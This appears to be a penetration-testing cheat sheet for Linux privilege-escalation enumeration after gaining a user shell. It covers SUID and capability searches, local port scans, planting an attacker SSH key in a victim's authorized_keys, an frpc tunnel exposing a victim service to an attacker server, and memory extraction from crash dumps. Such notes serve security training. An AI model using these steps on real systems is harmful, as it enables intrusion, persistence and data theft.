Linux
After gaining user, you can run these checks to discover more information
Permissions
Check user and group permissions
Check your identity and find files and directories you have permissions to and GTFO - https://gtfobins.github.io/
$ id
$ find / -user <user> -type f 2>/dev/null
$ find / -user <user> -type d 2>/dev/null
$ find / -group <group> -type f 2>/dev/null
$ find / -group <group> -type d 2>/dev/nullCheck Sudo permissions
Shows all command this user can run as sudo
$ sudo -lCheck for configs that are preserved with env_keep which can be used to preload custom files
Check SUID and SGID
Find all binaries with sticky bit set and GTFO - https://gtfobins.github.io/#+suid
$ find / -perm -u=s -type f 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/nullCheck Capabilities
Gets capabilities of binaries and GTFO - https://gtfobins.github.io/#+capabilitiese
$ getcap -r / 2>/dev/nullDiscovering Services
Check Local Services
Check for local services running on the victim machine
$ nc -zv 127.0.0.1 1-65535 2>&1 | grep -v "refused"Find all listening services and use SSH port forwarding to forward the service to your machine
$ ss -tuan | grep LISTENOn the victim machine, add the attacker's public key in /home/victim/.ssh/authorized_keys
For SSH tunneling, run this on the attacker
$ ssh -L <local port>:<victim service>:<victim port> <victim>@<ip>Or use FRPC to expose the local service directly. In the example below, we expose a serivce running on port 3001 on the victim to port 6000 globally
Copy frpc and frpc.ini to the victim and run:
# frpc.ini
[common]
server_addr = <attacker IP>
server_port = 7000
[expose]
type = tcp
local_ip = 127.0.0.1
local_port = 3001
remote_port = 6000$victim > ./frpc -c ./frpc.iniOn the attacker server, start frps
$attacker > ./frps -p 7000Check Cronjobs
Run pspy64 to check running process (likely cron)
https://github.com/DominicBreuker/pspy
Information from Artifacts
Check configuration files in
/etc/mysql/my.cnf/etc/apache2/apache2.conf/etc/apache2/sites-enabled/000-default.confetc/nginx/sites-available/default.confetc/nginx/nginx.conf
Check mail
/var/mail/var/spool/mail
Check interesting folders
/opt/var/backups
Check for most recently modified files
$ ls -ltr
$ find . -mtime -1 #files changed in the last day
$ find . -type f -mmin -120 -mmin +60 #files changed less than 120 mins, and more than 60 mins agoCheck Audit Log
If in group adm, check
/var/logs/audit
Run aureport --help to visualize the audit logs
Check mounts
Check the mounts /dev/sda*
Check library loads in Binary
Check binaries being used that do not use absolute path. We can highjack the binaries loaded using relative paths
$ ltrace <binary> 2> outCheck memory dump
Kill the running process
$ kill -BUS <pid>Get the data from the crash log
$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crashed
$ strings /tmp/crashed/CoreDumpCheck Processes running in /proc
for val in range(1,1000):
try:
with open("/proc/"+str(val)+"/cmdline", 'r') as f:
lines = f.readlines()
print(lines)
except:
passLast updated